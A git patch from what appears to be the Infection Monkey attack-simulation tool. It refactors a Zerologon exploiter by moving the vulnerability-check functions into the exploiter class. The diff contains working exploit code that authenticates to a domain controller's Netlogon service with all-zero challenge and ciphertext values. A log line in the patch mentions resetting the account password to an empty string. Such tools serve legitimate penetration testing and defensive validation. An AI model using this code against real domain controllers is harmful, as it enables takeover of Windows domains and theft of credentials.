From 2281d52acc06d7fdf110fe3efdabe4abccd9de8f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 7 Oct 2022 19:46:54 +0000 Subject: [PATCH] Agent: Move is_exploitable to zerologon.py --- monkey/infection_monkey/exploit/zerologon.py | 75 +++++++++++++++++-- .../zerologon_utils/vuln_assessment.py | 71 +----------------- 2 files changed, 71 insertions(+), 75 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 0a1dd8d6e..4c1374760 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -26,11 +26,7 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump -from infection_monkey.exploit.zerologon_utils.vuln_assessment import ( - connect_to_dc, - get_dc_details, - is_exploitable, -) +from infection_monkey.exploit.zerologon_utils.vuln_assessment import connect_to_dc, get_dc_details from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.utils.capture_output import StdoutCapture @@ -78,7 +74,7 @@ class ZerologonExploiter(HostExploiter): def _exploit_host(self) -> ExploiterResultData: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) - can_exploit, rpc_con = is_exploitable(self) + can_exploit, rpc_con = self.is_exploitable() if can_exploit: logger.info("Target vulnerable, changing account password to empty string.") @@ -116,6 +112,73 @@ class ZerologonExploiter(HostExploiter): return self.exploit_result + def is_exploitable(self) -> Tuple[bool, Optional[rpcrt.DCERPC_v5]]: + """ + Attempt to authenticate with the domain controller + + :return: + - Whether or not authentication was successful + - An RPC connection on success, otherwise None + """ + # Connect to the DC's Netlogon service. + try: + rpc_con = connect_to_dc(self.dc_ip) + except Exception as err: + error_message = f"Exception occurred while connecting to DC: {err}" + logger.info(error_message) + return False, None + + # Try authenticating. + for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): + try: + rpc_con_auth_result = self._try_zero_authenticate(rpc_con) + if rpc_con_auth_result is not None: + return True, rpc_con_auth_result + except Exception as err: + error_message = f"Error occured while authenticating to {self.host}: {err}" + logger.info(error_message) + return False, None + + return False, None + + def _try_zero_authenticate(self, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5: + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "\x00", + plaintext, + ) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + "\x00", + ciphertext, + flags, + ) + + assert server_auth["ErrorCode"] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ( + ex.get_error_code() == 0xC0000022 + ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + raise Exception(f"Unexpected error code: {ex.get_error_code()}.") + + except BaseException as ex: + raise Exception(f"Unexpected error: {ex}.") + def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): exploit_attempt_result = self.try_exploit_attempt(rpc_con) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index ba09a1cec..d7b834ea0 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -1,13 +1,12 @@ import logging -from typing import Optional, Tuple +from typing import Tuple import nmb.NetBIOS -from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport +from impacket.dcerpc.v5 import epm, nrpc, transport from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.utils.exceptions import DomainControllerNameFetchError from infection_monkey.model import VictimHost -from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -44,69 +43,3 @@ def _get_dc_name(dc_ip: str) -> str: raise DomainControllerNameFetchError( "Couldn't get domain controller's name, maybe it's on external network?" ) - - -def is_exploitable(zerologon_exploiter_object) -> Tuple[bool, Optional[rpcrt.DCERPC_v5]]: - # Connect to the DC's Netlogon service. - try: - rpc_con = connect_to_dc(zerologon_exploiter_object.dc_ip) - except Exception as err: - error_message = f"Exception occurred while connecting to DC: {err}" - logger.info(error_message) - return False, None - - # Try authenticating. - for _ in interruptible_iter( - range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt - ): - try: - rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) - if rpc_con_auth_result is not None: - return True, rpc_con_auth_result - except Exception as err: - error_message = ( - f"Error occured while authenticating to {zerologon_exploiter_object.host}: {err}" - ) - logger.info(error_message) - return False, None - - return False, None - - -def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5: - plaintext = b"\x00" * 8 - ciphertext = b"\x00" * 8 - flags = 0x212FFFFF - - # Send challenge and authentication request. - nrpc.hNetrServerReqChallenge( - rpc_con, - zerologon_exploiter_object.dc_handle + "\x00", - zerologon_exploiter_object.dc_name + "\x00", - plaintext, - ) - - try: - server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, - zerologon_exploiter_object.dc_handle + "\x00", - zerologon_exploiter_object.dc_name + "$\x00", - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - zerologon_exploiter_object.dc_name + "\x00", - ciphertext, - flags, - ) - - assert server_auth["ErrorCode"] == 0 - return rpc_con - - except nrpc.DCERPCSessionError as ex: - if ( - ex.get_error_code() == 0xC0000022 - ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. - pass - else: - raise Exception(f"Unexpected error code: {ex.get_error_code()}.") - - except BaseException as ex: - raise Exception(f"Unexpected error: {ex}.")